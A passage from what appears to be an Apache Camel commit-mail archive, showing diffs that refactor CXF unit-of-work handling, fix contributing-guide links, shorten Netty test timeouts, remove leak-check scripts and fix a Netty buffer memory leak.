 import org.apache.cxf.message.FaultMode;
 import org.apache.cxf.message.Message;
-import org.apache.cxf.phase.AbstractPhaseInterceptor;
 import org.apache.cxf.phase.Phase;
 import org.apache.cxf.service.invoker.Invoker;
 import org.apache.cxf.service.model.BindingOperationInfo;
@@ -83,38 +85,18 @@ public class CxfConsumer extends DefaultConsumer {
 
 final MessageObserver originalOutFaultObserver = 
server.getEndpoint().getOutFaultObserver();
 server.getEndpoint().setOutFaultObserver(message -> {
-Exchange cxfExchange = null;
-if ((cxfExchange = message.getExchange()) != null) {
-org.apache.camel.Exchange exchange = 
cxfExchange.get(org.apache.camel.Exchange.class);
-if (exchange != null) {
-doneUoW(exchange);
-}
-}
 originalOutFaultObserver.onMessage(message);
+CxfUtils.closeCamelUnitOfWork(message);
 });
 
+// setup the UnitOfWorkCloserInterceptor for OneWayMessageProcessor
+server.getEndpoint().getInInterceptors().add(new 
UnitOfWorkCloserInterceptor(Phase.POST_INVOKE, true));
+// close the UnitOfWork normally
 server.getEndpoint().getOutInterceptors().add(new 
UnitOfWorkCloserInterceptor());
 
 return server;
 }
 
-//closes UnitOfWork in good case
-private class UnitOfWorkCloserInterceptor extends 
AbstractPhaseInterceptor {
-public UnitOfWorkCloserInterceptor() {
-super(Phase.POST_LOGICAL_ENDING);
-}
-
-@Override
-public void handleMessage(Message message) throws Fault {
-Exchange cxfExchange = null;
-if ((cxfExchange = message.getExchange()) != null) {
-org.apache.camel.Exchange exchange = 
cxfExchange.get(org.apache.camel.Exchange.class);
-if (exchange != null) {
-doneUoW(exchange);
-}
-}
-}
-}
 
 public Server getServer() {
 return server;
@@ -162,8 +144,8 @@ public class CxfConsumer extends DefaultConsumer {
 // we assume it should support AsyncInvocation out of box
 return true;
 }
-
 private class CxfConsumerInvoker implements Invoker {
+
 private final CxfEndpoint endpoint;
 
 CxfConsumerInvoker(CxfEndpoint endpoint) {
diff --git 
a/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/interceptors/UnitOfWorkCloserInterceptor.java
 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/interceptors/UnitOfWorkCloserInterceptor.java
new file mode 100644
index 000..8825403
--- /dev/null
+++ 
b/components/camel-cxf/src/main/java/org/apache/camel/component/cxf/interceptors/UnitOfWorkCloserInterceptor.java
@@ -0,0 +1,47 @@
+package org.apache.camel.component.cxf.interceptors;
+
+import org.apache.camel.component.cxf.util.CxfUtils;
+import org.apache.cxf.interceptor.Fault;
+import org.apache.cxf.interceptor.OutgoingChainInterceptor;
+import org.apache.cxf.message.Exchange;
+import org.apache.cxf.message.Message

camel git commit: Fixed wrong issue tracker links on CONTRIBUTING.md

2017-01-16 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/master df077dc6b -> 34c9a9bf1


Fixed wrong issue tracker links on CONTRIBUTING.md


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/34c9a9bf
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/34c9a9bf
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/34c9a9bf

Branch: refs/heads/master
Commit: 34c9a9bf19f6dda624af8b5c3c3f6203efb53b24
Parents: df077dc
Author: Marco Collovati <(none)>
Authored: Mon Jan 16 21:20:49 2017 +0100
Committer: Willem Jiang 
Committed: Tue Jan 17 13:45:13 2017 +0800

--
 CONTRIBUTING.md | 16 
 1 file changed, 8 insertions(+), 8 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/34c9a9bf/CONTRIBUTING.md
--
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index d08ddb7..097deea 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -1,11 +1,11 @@
 ## Contributing to Apache Camel
 
 There are many ways you can help make Camel a better piece of software - 
please dive in and help!
-- Try surf the documentation - if somethings confusing or not clear, let us 
know. 
-- Download the code & try it out and see what you think. 
+- Try surf the documentation - if somethings confusing or not clear, let us 
know.
+- Download the code & try it out and see what you think.
 - Browse the source code. Got an itch to scratch, want to tune some operation 
or add some feature?
-- Want to do some hacking on Camel? Try surfing the our [issue 
tracker](http://issues.apache.org/activemq/browse/CAMEL) for open issues or 
features that need to be implemented, take ownership of an issue and try fix it.
-- If you are a new Camel rider and would like to help us, you can also find 
[some easy to resolve 
issues.](https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide=12316782)
 
+- Want to do some hacking on Camel? Try surfing the our [issue 
tracker](https://issues.apache.org/jira/browse/CAMEL) for open issues or 
features that need to be implemented, take ownership of an issue and try fix it.
+- If you are a new Camel rider and would like to help us, you can also find 
[some easy to resolve 
issues.](https://issues.apache.org/jira/secure/IssueNavigator.jspa?mode=hide=12316782)
 - Leave a comment on the issue to let us know you are working on it and add 
yourself as a watcher to get informed about all modifications.
 
 
@@ -49,7 +49,7 @@ To be able to edit the wiki you need
 
 ## If you find a bug or problem
 
-Please raise a new issue in our [issue 
tracker](http://issues.apache.org/activemq/browse/CAMEL)
+Please raise a new issue in our [issue 
tracker](https://issues.apache.org/jira/browse/CAMEL)
 If you can create a JUnit test case then your issue is more likely to be 
resolved quicker.
 e.g. take a look at some of the existing [unit tests 
cases](https://svn.apache.org/repos/asf/camel/trunk/camel-core/src/test/java/)
 Then we can add your issue to Subversion and then we'll know when its really 
fixed and we can ensure that the problem stays fixed in future releases.
@@ -105,8 +105,8 @@ We recommend you create patches as github PRs which is much 
easier for us to acc
 ## Pull request at Github
 
 There is also a Git repository at Github which you could fork. Then you submit 
patches as any other github project - eg work on a new feature branch and send 
a pull request. One of the committers then needs to accept your pull request to 
bring the code  to the ASF codebase. After the code has been included into the 
ASF codebase, you need to close the pull request because we can't do that...
-   
-When providing code patches then please include the Camel JIRA ticket number 
in the commit messages. 
+
+When providing code patches then please include the Camel JIRA ticket number 
in the commit messages.
 We favor using the syntax:
 
 CAMEL-: Some message goes here
@@ -137,7 +137,7 @@ We prefer patches has unit tests as well and that these 
unit tests have proper a
 
 ## Using the issue tracker
 
-Before you can raise an issue in the [issue 
tracker](http://issues.apache.org/activemq/browse/CAMEL) you need to register 
with it. This is quick & painless.
+Before you can raise an issue in the [issue 
tracker](https://issues.apache.org/jira/browse/CAMEL) you need to register with 
it. This is quick & painless.
 If you want to have a go at fixing an issue you need to be in the list of 
camel-developers on the issue tracker. To join the group, please mail the 
`d...@camel.apache.org` mail list with the email address you used to register 
with the issue tracker and we'll add you to the group.
 
 



camel git commit: Clean up the camel-netty4, to speed up the tests

2016-11-15 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/master ced3b4b7f -> bed325e1f


Clean up the camel-netty4, to speed up the tests


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/bed325e1
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/bed325e1
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/bed325e1

Branch: refs/heads/master
Commit: bed325e1ffa9ecf08ed62c78cb51980fbcb7e3bb
Parents: ced3b4b
Author: Willem Jiang 
Authored: Tue Nov 15 18:57:44 2016 +0800
Committer: Willem Jiang 
Committed: Tue Nov 15 18:57:44 2016 +0800

--
 .../component/netty4/MultipleCodecsSpringTest.java  |  1 -
 .../netty4/NettyConsumerClientModeReconnectTest.java|  4 ++--
 .../camel/component/netty4/NettyRequestTimeoutTest.java | 12 ++--
 .../component/netty4/NettyUDPByteArrayProviderTest.java |  2 +-
 .../component/netty4/NettyUdpConnectedSendTest.java |  2 +-
 .../NettyUseSharedWorkerThreadPoolManyRoutesTest.java   |  4 ++--
 6 files changed, 12 insertions(+), 13 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/bed325e1/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/MultipleCodecsSpringTest.java
--
diff --git 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/MultipleCodecsSpringTest.java
 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/MultipleCodecsSpringTest.java
index f2a89e4..aaab59d 100644
--- 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/MultipleCodecsSpringTest.java
+++ 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/MultipleCodecsSpringTest.java
@@ -37,7 +37,6 @@ public class MultipleCodecsSpringTest extends 
CamelSpringTestSupport {
 MockEndpoint mock = getMockEndpoint("mock:multiple-codec");
 mock.expectedBodiesReceived(poem);
 sendBody("direct:multiple-codec", poem);
-mock.await(1, TimeUnit.SECONDS);
 mock.assertIsSatisfied();
 }
 }

http://git-wip-us.apache.org/repos/asf/camel/blob/bed325e1/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/NettyConsumerClientModeReconnectTest.java
--
diff --git 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/NettyConsumerClientModeReconnectTest.java
 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/NettyConsumerClientModeReconnectTest.java
index c09ca6d..3a4ea97 100644
--- 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/NettyConsumerClientModeReconnectTest.java
+++ 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/NettyConsumerClientModeReconnectTest.java
@@ -61,7 +61,7 @@ public class NettyConsumerClientModeReconnectTest extends 
BaseNettyTest {
 log.info(">>> starting Camel route while Netty server is not 
ready");
 context.startRoute("client");
 
-Thread.sleep(5000);
+Thread.sleep(500);
 
 log.info(">>> starting Netty server");
 startNettyServer();
@@ -81,7 +81,7 @@ public class NettyConsumerClientModeReconnectTest extends 
BaseNettyTest {
 return new RouteBuilder() {
 @Override
 public void configure() throws Exception {
-
from("netty4:tcp://localhost:{{port}}?textline=true=true=true=2000").id("client")
+
from("netty4:tcp://localhost:{{port}}?textline=true=true=true=200").id("client")
 .process(new Processor() {
 public void process(final Exchange exchange) {
 log.info("Processing exchange in Netty server 
{}", exchange);

http://git-wip-us.apache.org/repos/asf/camel/blob/bed325e1/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/NettyRequestTimeoutTest.java
--
diff --git 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/NettyRequestTimeoutTest.java
 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/NettyRequestTimeoutTest.java
index 770fab5..d9fd83d 100644
--- 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/NettyRequestTimeoutTest.java
+++ 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/NettyRequestTimeoutTest.java
@@ -30,14 +30,14 @@ public class NettyRequestTimeoutTest extends BaseNettyTest {
 
 @Test
 public void testRequestTimeoutOK() throws Exception {
-String out = 

[1/2] camel git commit: CAMEL-10409 Removed the run-test-leak.sh, as the unit test is enable the memory leak detect by default

2016-11-15 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/camel-2.18.x 738839fd0 -> 73416c7c9
  refs/heads/master f5dccb880 -> ced3b4b7f


CAMEL-10409 Removed the run-test-leak.sh, as the unit test is enable the memory 
leak detect by default


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/ced3b4b7
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/ced3b4b7
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/ced3b4b7

Branch: refs/heads/master
Commit: ced3b4b7f4ccadfc1ca673edfc5014cb669a8f84
Parents: f5dccb8
Author: Willem Jiang 
Authored: Tue Nov 15 17:23:13 2016 +0800
Committer: Willem Jiang 
Committed: Tue Nov 15 17:23:13 2016 +0800

--
 components/camel-netty4-http/run-test-leak.sh | 31 --
 components/camel-netty4/run-test-leak.sh  | 31 --
 2 files changed, 62 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/ced3b4b7/components/camel-netty4-http/run-test-leak.sh
--
diff --git a/components/camel-netty4-http/run-test-leak.sh 
b/components/camel-netty4-http/run-test-leak.sh
deleted file mode 100755
index 409a814..000
--- a/components/camel-netty4-http/run-test-leak.sh
+++ /dev/null
@@ -1,31 +0,0 @@
-#!/bin/sh
-
-## ---
-## Licensed to the Apache Software Foundation (ASF) under one or more
-## contributor license agreements.  See the NOTICE file distributed with
-## this work for additional information regarding copyright ownership.
-## The ASF licenses this file to You under the Apache License, Version 2.0
-## (the "License"); you may not use this file except in compliance with
-## the License.  You may obtain a copy of the License at
-##
-## http://www.apache.org/licenses/LICENSE-2.0
-##
-## Unless required by applicable law or agreed to in writing, software
-## distributed under the License is distributed on an "AS IS" BASIS,
-## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-## See the License for the specific language governing permissions and
-## limitations under the License.
-## ---
-
-echo 'Running tests with Netty leak detection ...'
-mvn clean install -Dio.netty.leakDetectionLevel=paranoid 
-Dio.netty.leakDetection.maxRecords=20
-
-echo 'Checking log file if there is any leaks ...'
-
-if grep LEAK target/camel-netty4-http-test.log; then
-echo 'LEAK found'
-exit 1
-else
-echo 'No LEAK found'
-exit 0
-fi

http://git-wip-us.apache.org/repos/asf/camel/blob/ced3b4b7/components/camel-netty4/run-test-leak.sh
--
diff --git a/components/camel-netty4/run-test-leak.sh 
b/components/camel-netty4/run-test-leak.sh
deleted file mode 100755
index 409a814..000
--- a/components/camel-netty4/run-test-leak.sh
+++ /dev/null
@@ -1,31 +0,0 @@
-#!/bin/sh
-
-## ---
-## Licensed to the Apache Software Foundation (ASF) under one or more
-## contributor license agreements.  See the NOTICE file distributed with
-## this work for additional information regarding copyright ownership.
-## The ASF licenses this file to You under the Apache License, Version 2.0
-## (the "License"); you may not use this file except in compliance with
-## the License.  You may obtain a copy of the License at
-##
-## http://www.apache.org/licenses/LICENSE-2.0
-##
-## Unless required by applicable law or agreed to in writing, software
-## distributed under the License is distributed on an "AS IS" BASIS,
-## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-## See the License for the specific language governing permissions and
-## limitations under the License.
-## ---
-
-echo 'Running tests with Netty leak detection ...'
-mvn clean install -Dio.netty.leakDetectionLevel=paranoid 
-Dio.netty.leakDetection.maxRecords=20
-
-echo 'Checking log file if there is any leaks ...'
-
-if grep LEAK target/camel-netty4-http-test.log; then
-echo 'LEAK found'
-exit 1
-else
-echo 'No LEAK found'
-exit 0
-fi



[2/2] camel git commit: CAMEL-10409 Removed the run-test-leak.sh, as the unit test is enable the memory leak detect by default

2016-11-15 Thread ningjiang
CAMEL-10409 Removed the run-test-leak.sh, as the unit test is enable the memory 
leak detect by default


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/73416c7c
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/73416c7c
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/73416c7c

Branch: refs/heads/camel-2.18.x
Commit: 73416c7c980bda6c0a89f48f98c185fe594c5b53
Parents: 738839f
Author: Willem Jiang 
Authored: Tue Nov 15 17:23:13 2016 +0800
Committer: Willem Jiang 
Committed: Tue Nov 15 17:23:34 2016 +0800

--
 components/camel-netty4-http/run-test-leak.sh | 31 --
 components/camel-netty4/run-test-leak.sh  | 31 --
 2 files changed, 62 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/73416c7c/components/camel-netty4-http/run-test-leak.sh
--
diff --git a/components/camel-netty4-http/run-test-leak.sh 
b/components/camel-netty4-http/run-test-leak.sh
deleted file mode 100755
index 409a814..000
--- a/components/camel-netty4-http/run-test-leak.sh
+++ /dev/null
@@ -1,31 +0,0 @@
-#!/bin/sh
-
-## ---
-## Licensed to the Apache Software Foundation (ASF) under one or more
-## contributor license agreements.  See the NOTICE file distributed with
-## this work for additional information regarding copyright ownership.
-## The ASF licenses this file to You under the Apache License, Version 2.0
-## (the "License"); you may not use this file except in compliance with
-## the License.  You may obtain a copy of the License at
-##
-## http://www.apache.org/licenses/LICENSE-2.0
-##
-## Unless required by applicable law or agreed to in writing, software
-## distributed under the License is distributed on an "AS IS" BASIS,
-## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-## See the License for the specific language governing permissions and
-## limitations under the License.
-## ---
-
-echo 'Running tests with Netty leak detection ...'
-mvn clean install -Dio.netty.leakDetectionLevel=paranoid 
-Dio.netty.leakDetection.maxRecords=20
-
-echo 'Checking log file if there is any leaks ...'
-
-if grep LEAK target/camel-netty4-http-test.log; then
-echo 'LEAK found'
-exit 1
-else
-echo 'No LEAK found'
-exit 0
-fi

http://git-wip-us.apache.org/repos/asf/camel/blob/73416c7c/components/camel-netty4/run-test-leak.sh
--
diff --git a/components/camel-netty4/run-test-leak.sh 
b/components/camel-netty4/run-test-leak.sh
deleted file mode 100755
index 409a814..000
--- a/components/camel-netty4/run-test-leak.sh
+++ /dev/null
@@ -1,31 +0,0 @@
-#!/bin/sh
-
-## ---
-## Licensed to the Apache Software Foundation (ASF) under one or more
-## contributor license agreements.  See the NOTICE file distributed with
-## this work for additional information regarding copyright ownership.
-## The ASF licenses this file to You under the Apache License, Version 2.0
-## (the "License"); you may not use this file except in compliance with
-## the License.  You may obtain a copy of the License at
-##
-## http://www.apache.org/licenses/LICENSE-2.0
-##
-## Unless required by applicable law or agreed to in writing, software
-## distributed under the License is distributed on an "AS IS" BASIS,
-## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-## See the License for the specific language governing permissions and
-## limitations under the License.
-## ---
-
-echo 'Running tests with Netty leak detection ...'
-mvn clean install -Dio.netty.leakDetectionLevel=paranoid 
-Dio.netty.leakDetection.maxRecords=20
-
-echo 'Checking log file if there is any leaks ...'
-
-if grep LEAK target/camel-netty4-http-test.log; then
-echo 'LEAK found'
-exit 1
-else
-echo 'No LEAK found'
-exit 0
-fi



[3/4] camel git commit: CAMEL-10480 Fixed the MemoryLeak in the DatagramPacketObjectEncoder

2016-11-15 Thread ningjiang
CAMEL-10480 Fixed the MemoryLeak in the DatagramPacketObjectEncoder


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/f9d48c87
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/f9d48c87
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/f9d48c87

Branch: refs/heads/camel-2.18.x
Commit: f9d48c871dbede210d08a692331db802ca83e2d5
Parents: c63d756
Author: Willem Jiang 
Authored: Tue Nov 15 16:49:39 2016 +0800
Committer: Willem Jiang 
Committed: Tue Nov 15 17:11:22 2016 +0800

--
 .../component/netty4/codec/DatagramPacketObjectEncoder.java  | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/f9d48c87/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/codec/DatagramPacketObjectEncoder.java
--
diff --git 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/codec/DatagramPacketObjectEncoder.java
 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/codec/DatagramPacketObjectEncoder.java
index d57850e..9b903da 100644
--- 
a/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/codec/DatagramPacketObjectEncoder.java
+++ 
b/components/camel-netty4/src/main/java/org/apache/camel/component/netty4/codec/DatagramPacketObjectEncoder.java
@@ -39,10 +39,10 @@ public class DatagramPacketObjectEncoder extends
   List out) throws Exception {
 if (msg.content() instanceof Serializable) {
 Serializable payload = (Serializable) msg.content();
-ByteBuf buf = ctx.alloc().heapBuffer();
+ByteBuf buf = ctx.alloc().buffer();
 delegateObjectEncoder.encode(ctx, payload, buf);
 AddressedEnvelope addressedEnvelop = 
-new DefaultAddressedEnvelope(buf.retain(), msg.recipient(), msg.sender());
+new DefaultAddressedEnvelope(buf, 
msg.recipient(), msg.sender());
 out.add(addressedEnvelop);
 }
 



[4/4] camel git commit: CAMEL-10409 Polish the BaseNettyTest to write some useful information of memory leak

2016-11-15 Thread ningjiang
CAMEL-10409 Polish the BaseNettyTest to write some useful information of memory 
leak


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/738839fd
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/738839fd
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/738839fd

Branch: refs/heads/camel-2.18.x
Commit: 738839fd0a49267ff3acbd0ddcfdd52b4928acf0
Parents: f9d48c8
Author: Willem Jiang 
Authored: Tue Nov 15 17:01:26 2016 +0800
Committer: Willem Jiang 
Committed: Tue Nov 15 17:11:30 2016 +0800

--
 .../apache/camel/component/netty4/http/BaseNettyTest.java   | 9 +
 .../org/apache/camel/component/netty4/BaseNettyTest.java| 9 +
 2 files changed, 18 insertions(+)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/738839fd/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
--
diff --git 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
index 75916e5..92788f9 100644
--- 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
+++ 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/BaseNettyTest.java
@@ -33,11 +33,15 @@ import org.apache.camel.test.junit4.CamelTestSupport;
 import org.apache.logging.log4j.core.LogEvent;
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 
 /**
  *
  */
 public class BaseNettyTest extends CamelTestSupport {
+protected static final Logger LOG = 
LoggerFactory.getLogger(BaseNettyTest.class);
+
 private static volatile int port;
 
 @BeforeClass
@@ -73,6 +77,7 @@ public class BaseNettyTest extends CamelTestSupport {
 @BeforeClass
 public static void startLeakDetection() {
 System.setProperty("io.netty.leakDetection.maxRecords", "100");
+System.setProperty("io.netty.leakDetection.acquireAndReleaseOnly", 
"true");
 ResourceLeakDetector.setLevel(ResourceLeakDetector.Level.PARANOID);
 }
 
@@ -85,6 +90,10 @@ public class BaseNettyTest extends CamelTestSupport {
 Collection events = LogCaptureAppender.getEvents();
 if (!events.isEmpty()) {
 String message = "Leaks detected while running tests: " + events;
+// Just write the message into log to help debug
+for(LogEvent event: events) {
+LOG.info(event.getMessage().getFormattedMessage());
+}
 LogCaptureAppender.reset();
 throw new AssertionError(message);
 }

http://git-wip-us.apache.org/repos/asf/camel/blob/738839fd/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
--
diff --git 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
index aeb5378..3bd1431 100644
--- 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
+++ 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
@@ -30,6 +30,8 @@ import org.apache.camel.test.junit4.CamelTestSupport;
 import org.apache.logging.log4j.core.LogEvent;
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
 
 import io.netty.buffer.ByteBufAllocator;
 import io.netty.util.ResourceLeakDetector;
@@ -38,6 +40,8 @@ import io.netty.util.ResourceLeakDetector;
  *
  */
 public class BaseNettyTest extends CamelTestSupport {
+protected static final Logger LOG = 
LoggerFactory.getLogger(BaseNettyTest.class);
+
 private static volatile int port;
 
 @BeforeClass
@@ -73,6 +77,7 @@ public class BaseNettyTest extends CamelTestSupport {
 @BeforeClass
 public static void startLeakDetection() {
 System.setProperty("io.netty.leakDetection.maxRecords", "100");
+System.setProperty("io.netty.leakDetection.acquireAndReleaseOnly", 
"true");
 ResourceLeakDetector.setLevel(ResourceLeakDetector.Level.PARANOID);
 }
 
@@ -85,6 +90,10 @@ public class BaseNettyTest extends CamelTestSupport {
 Collection events = LogCaptureAppender.getEvents();
 if (!events.isEmpty()) {
 String message = "Leaks detected while running tests: " + events;
+// Just write the message into log to help debug
+for(LogEvent 

[1/4] camel git commit: CAMEL-10409 Double release of netty buffer: Addedtest

2016-11-15 Thread ningjiang
Repository: camel
Updated Branches:
  refs/heads/camel-2.18.x 3869c28fc -> 738839fd0


CAMEL-10409
Double release of netty buffer: Addedtest


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/778ae84f
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/778ae84f
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/778ae84f

Branch: refs/heads/camel-2.18.x
Commit: 778ae84f393e767970b1016b51584a353b7d7547
Parents: 3869c28
Author: Vitalii Tymchyshyn 
Authored: Mon Nov 14 22:10:15 2016 -0500
Committer: Willem Jiang 
Committed: Tue Nov 15 17:10:57 2016 +0800

--
 .../netty4/http/NettyRequestManagementTest.java | 57 
 1 file changed, 57 insertions(+)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/778ae84f/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyRequestManagementTest.java
--
diff --git 
a/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyRequestManagementTest.java
 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyRequestManagementTest.java
new file mode 100644
index 000..eec5537
--- /dev/null
+++ 
b/components/camel-netty4-http/src/test/java/org/apache/camel/component/netty4/http/NettyRequestManagementTest.java
@@ -0,0 +1,57 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *  http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.camel.component.netty4.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.PooledByteBufAllocator;
+
+import org.apache.camel.Exchange;
+import org.apache.camel.builder.RouteBuilder;
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Tests https://issues.apache.org/jira/browse/CAMEL-10409
+ */
+public class NettyRequestManagementTest extends BaseNettyTest {
+
+@Test
+public void testBufferManagement() {
+Exchange exchange = template.send("direct:start", e -> 
e.getIn().setBody("World"));
+Assert.assertEquals("Bye World", 
exchange.getIn().getBody(String.class));
+exchange.getProperty("buffer", ByteBuf.class).release();
+}
+
+private static void requestBuffer(Exchange exchange) {
+exchange.setProperty("buffer", 
PooledByteBufAllocator.DEFAULT.directBuffer());
+}
+
+@Override
+protected RouteBuilder createRouteBuilder() throws Exception {
+return new RouteBuilder() {
+@Override
+public void configure() throws Exception {
+from("netty4-http:http://0.0.0.0:{{port}}/foo;)
+.transform(body().prepend("Bye "));
+
+from("direct:start")
+
.to("netty4-http:http://localhost:{{port}}/foo?synchronous=true;)
+.process(NettyRequestManagementTest::requestBuffer);
+}
+};
+}
+}



[2/4] camel git commit: CAMEL-10409 Added memory leak check to camel-netty4 component

2016-11-15 Thread ningjiang
CAMEL-10409 Added memory leak check to camel-netty4 component


Project: http://git-wip-us.apache.org/repos/asf/camel/repo
Commit: http://git-wip-us.apache.org/repos/asf/camel/commit/c63d756a
Tree: http://git-wip-us.apache.org/repos/asf/camel/tree/c63d756a
Diff: http://git-wip-us.apache.org/repos/asf/camel/diff/c63d756a

Branch: refs/heads/camel-2.18.x
Commit: c63d756ace3b2eb709e398e1c880bbb161729858
Parents: 778ae84
Author: Willem Jiang 
Authored: Tue Nov 15 12:46:54 2016 +0800
Committer: Willem Jiang 
Committed: Tue Nov 15 17:11:07 2016 +0800

--
 .../camel/component/netty4/BaseNettyTest.java   | 25 
 .../component/netty4/LogCaptureAppender.java| 65 
 .../camel/component/netty4/LogCaptureTest.java  | 35 +++
 .../src/test/resources/log4j2.properties|  6 ++
 4 files changed, 131 insertions(+)
--


http://git-wip-us.apache.org/repos/asf/camel/blob/c63d756a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
--
diff --git 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
index c64465e..aeb5378 100644
--- 
a/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
+++ 
b/components/camel-netty4/src/test/java/org/apache/camel/component/netty4/BaseNettyTest.java
@@ -18,6 +18,7 @@ package org.apache.camel.component.netty4;
 
 import java.io.File;
 import java.io.FileOutputStream;
+import java.util.Collection;
 import java.util.Properties;
 
 import org.apache.camel.CamelContext;
@@ -26,9 +27,13 @@ import org.apache.camel.converter.IOConverter;
 import org.apache.camel.impl.JndiRegistry;
 import org.apache.camel.test.AvailablePortFinder;
 import org.apache.camel.test.junit4.CamelTestSupport;
+import org.apache.logging.log4j.core.LogEvent;
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
 
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.ResourceLeakDetector;
+
 /**
  *
  */
@@ -65,6 +70,26 @@ public class BaseNettyTest extends CamelTestSupport {
 }
 }
 
+@BeforeClass
+public static void startLeakDetection() {
+System.setProperty("io.netty.leakDetection.maxRecords", "100");
